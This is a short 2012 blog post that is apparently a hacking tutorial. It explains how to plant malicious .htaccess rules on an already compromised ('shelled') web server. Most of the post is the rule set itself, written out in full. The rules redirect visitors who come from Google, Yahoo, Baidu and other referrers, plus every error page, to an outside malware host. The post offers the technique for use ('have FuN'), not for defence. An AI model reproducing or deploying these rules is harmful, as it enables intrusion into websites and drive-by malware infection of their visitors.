Showing posts with label website infection. Show all posts
Showing posts with label website infection. Show all posts

Wednesday, February 22, 2012

How hackers infect websites with malware

hi guys today i am gonna show you how hackers sometimes infect sites with malware (recently if you are aware about Zone-h bring malwared )
So what we need

  1. shelled server
  2. writable .htacess
so open and edit .htacess add the following line of code

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://villusoftreit.ru/in.cgi?3 [R=301,L]
RewriteEngine On
ErrorDocument 400 http://villusoftreit.ru/in.cgi?3
ErrorDocument 401 http://villusoftreit.ru/in.cgi?3
ErrorDocument 403 http://villusoftreit.ru/in.cgi?3
ErrorDocument 404 http://villusoftreit.ru/in.cgi?3
ErrorDocument 500 http://villusoftreit.ru/in.cgi?3
and save it now your server will be infected with malware.. and if you open it in google chrome it will show you warning.. have FuN

Twitter Delicious Facebook Digg Stumbleupon Favorites More